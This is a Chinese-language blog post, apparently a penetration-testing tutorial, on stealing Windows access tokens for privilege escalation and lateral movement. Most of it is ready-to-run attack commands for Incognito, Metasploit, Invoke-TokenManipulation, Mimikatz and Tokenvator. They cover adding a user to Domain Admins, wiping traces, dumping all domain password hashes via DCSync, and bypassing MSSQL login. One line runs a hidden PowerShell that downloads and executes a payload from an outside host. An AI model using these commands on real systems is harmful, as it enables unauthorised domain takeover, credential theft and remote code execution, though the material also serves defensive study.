Windows Access Token 学习与利用
Windows Lateral-Movement    630    0    0

一、访问令牌的定义

        描述进程或者线程安全上下文的一个对象。不同的用户登录计算机后, 都会生成一个Access Token,这个Token在用户创建进程或者线程时会被使用,不断的拷贝,这也就解释了A用户创建一个进程而该进程没有B用户的权限。一般用户双击运行一个进程都会拷贝explorer.exe的Access Token。访问令牌分为:

        * 授权令牌(Delegation token):交互式会话登陆(例:本地用户登陆、用户桌面等)
        * 模拟令牌(Impersonation token):非交互式登陆(例:net use 访问共享文件)

        两种token只有在系统重启后才会清除;授权令牌在用户注销后,该令牌会变为模拟令牌依旧有效。


二、令牌盗用

        修改进程的SID为已注销但未清除的用户的SID(Security Identifiers,安全标识符,唯一的字符串,它可以代表一个账户、一个用户 组、或者是一次登录),使进程拥有与用户相同的权限。因此可以通过盗用模拟令牌的方式来进行提权、降权和横向渗透等


三、工具利用

    1. Incognito.exe

incognito.exe list_tokens -u # 查看本地可用的token       
incognito.exe -h IP|IP_list.txt -u administrator -p Password1 -g list_tokens -u # 通过IPC远程列举tokens
incognito.exe execute -c "NT AUTHORITY\SYSTEM" xx.exe # 以指定token执行命令
incognito.exe -f hosts.txt -u administrator -p Password -n 20 add_group_user -h dc1.corp.target.net "Domain Admins" test # 指定远程登录的账号试图登录并列举所hosts.txt里主机所有的token,将test用户加入到域管理员组
incognito.exe execute "domain\administrator" "cmd" # 指定域用户执行命令
incognito.exe -h x.x.x.x -u administrator -p Password cleanup # 清理痕迹


    2. MSF 中的 incognito 模块

load incognito # 加载 incognito 模块
list_tokens -u # 列举token
impersonate_token "NT AUTHORITY\\SYSTEM" # 窃取token
rev2self | drop_token # 返回之前的token


    3. Invoke-TokenManipulation.ps1

Invoke-TokenManipulation -Enumerate # 列举token
Invoke-TokenManipulation -CreateProcess "cmd.exe" -Username "nt authority\system" # 提权至system
Invoke-TokenManipulation -CreateProcess "cmd.exe" -ProcessId 500 # 复制进程token
Invoke-TokenManipulation -CreateProcess "cmd.exe" -ThreadId 500 # 复制线程token


    4. Mimikatz.exe

token::whoami # 查看当前的令牌
token::list # 查看当前机器中的所有用户令牌
token::Elevate # 把当前提升为 system 令牌
token::Elevate /domainadmin # 模拟域管令牌
lsadump::dcsync /domain:rootkit.org /all /csv # 导出域控种的所有用户的密码 hash,如果没有没有权限会报错
token::revert # 还原令牌到初始状态


    5. Tokenvator.exe

Tokenvator.exe Steal_Token 1892 "powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.3.69:81/incognito'))"" # 窃取伪造模拟执行用户的令牌来执行任意payload


四、渗透利用

    1. MSSQL 免密登录:窃取System Token绕过验证

Invoke-TokenManipulation -CreateProcess "C:\Program Files (x86)\Microsoft SQL Server\100\Tools\Binn\VSShell\Common7\IDE\Ssms.exe" -Username "NT AUTHORITY\SYSTEM"

执行后会弹出来MSSQL管理工具登录页面,在Server name中输入”.”(本地机器),点击connect即可连接进去



参考链接:

[1] https://labs.mwrinfosecurity.com/blog/incognito-v2-0-released/

[2] http://www.4hou.com/penetration/8819.html





觉得不错,点个赞?
Sign in to leave a comment.
No Leanote account ? Sign up now.
0 条评论
文章目录